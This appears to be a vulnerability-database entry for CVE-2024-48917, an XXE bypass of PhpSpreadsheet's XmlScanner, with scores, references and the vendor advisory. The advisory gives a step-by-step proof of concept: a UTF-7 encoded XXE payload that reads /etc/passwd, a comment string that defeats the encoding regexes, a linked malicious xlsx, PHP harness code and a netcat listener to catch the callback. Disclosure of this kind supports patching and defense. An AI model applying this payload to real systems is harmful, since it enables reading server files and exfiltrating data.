CVE-2024-48917
highpriority · track · 30EPSS 0.007 · 54 %ileEUUSEPSS · scored 2026-10-27
PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. The `XmlScanner` class has a scan method which should prevent XXE attacks. However, in a bypass of the previously reported `CVE-2024-47873`, the regexes from the `findCharSet` method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding="UTF-8"` with `"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex. An attacker can bypass the sanitizer and achieve an XML external entity attack. Versions 1.9.4, 2.1.3, 2.3.2, and 3.4.0 fix the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 6.9–7.5
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (13)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-7cc9-j4mv-vcjpXXE in PHPSpreadsheet's XLSX reader2024-11-18ghsa · osvUS
### Summary The [XmlScanner class](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php) has a [scan](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L72) method which should prevent XXE attacks. However, we found another bypass than the previously reported `CVE-2024-47873`, the regexes from the [findCharSet](https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.php#L51) method, which is used for determining the current encoding can be bypassed by using a payload in the encoding UTF-7, and adding at end of the file a comment with the value `encoding="UTF-8"` with `"`, which is matched by the first regex, so that `encoding='UTF-7'` with single quotes `'` in the XML header is not matched by the second regex: ``` $patterns = [ '/encoding\\s*=\\s*"([^"]*]?)"/', "/encoding\\s*=\\s*'([^']*?)'/", ]; ``` A payload for the `workbook.xml` file can for example be created with [CyberChef](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&input=Pz4KPCFET0NUWVBFIGZvbyBbCiAgPCFFTEVNRU5UIGZvbyBBTlkgPgogIDwhRU5USVRZIHh4ZSBTWVNURU0gImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgPl0%2BCjxmb28%2BJnh4ZTs8L2Zvbz4K). If you open an Excel file containing the payload from the link above stored in the `workbook.xml` file with PhpSpreadsheet, you will receive an HTTP request on `127.0.0.1:12345`. You can test that an HTTP request is created by running the `nc -nlvp 12345` command before opening the file containing the payload with PhpSpreadsheet. To create the payload you need: 1. Create a file containing `<?xml version = "1.0" encoding='UTF-7'` in an XML file 2. Use the link attached above to create your XXE payload and add it to the XML file. 3. Add `+ADw-+ACE---encoding="UTF-8"--+AD4-` to the end of the XML file, which is matched by the first regex. ### PoC [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) - Create a new folder. - Run the `composer require phpoffice/phpspreadsheet` command in the new folder. - Create an `index.php` file in that folder with the following content: ```PHP <?php require 'vendor/autoload.php'; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Writer\Xlsx; $spreadsheet = new Spreadsheet(); $inputFileType = 'Xlsx'; $inputFileName = './payload.xlsx'; /** Create a new Reader of the type defined in $inputFileType **/ $reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType); /** Advise the Reader that we only want to load cell data **/ $reader->setReadDataOnly(true); $worksheetData = $reader->listWorksheetInfo($inputFileName); foreach ($worksheetData as $worksheet) { $sheetName = $worksheet['worksheetName']; echo "<h4>$sheetName</h4>"; /** Load $inputFileName to a Spreadsheet Object **/ $reader->setLoadSheetsOnly($sheetName); $spreadsheet = $reader->load($inputFileName); $worksheet = $spreadsheet->getActiveSheet(); print_r($worksheet->toArray()); } ``` - Run the following command: `php -S 127.0.0.1:8080` - Add the [payload.xlsx](https://github.com/user-attachments/files/17375792/payload.xlsx) file in the folder and open <https://127.0.0.1:8080> in a browser. You will see an HTTP request on netcat <http://127.0.0.1:12345/ext.dtd>. ### Impact An attacker can bypass the sanitizer and achieve an [XXE attack](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing).
also known as (3)
Other names and identifiers for this entity.
sources
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references (9)
External citations — patches, advisories, analysis.
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.phpcnnvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjpcnnvd
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processingcnnvd
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.phpenisa_euvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjpenisa_euvd
- https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processingenisa_euvd
- https://github.com/PHPOffice/PhpSpreadsheet/blob/39fc51309181e82593b06e2fa8e45ef8333a0335/src/PhpSpreadsheet/Reader/Security/XmlScanner.phpProductnvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7cc9-j4mv-vcjpExploitVendor Advisorynvd
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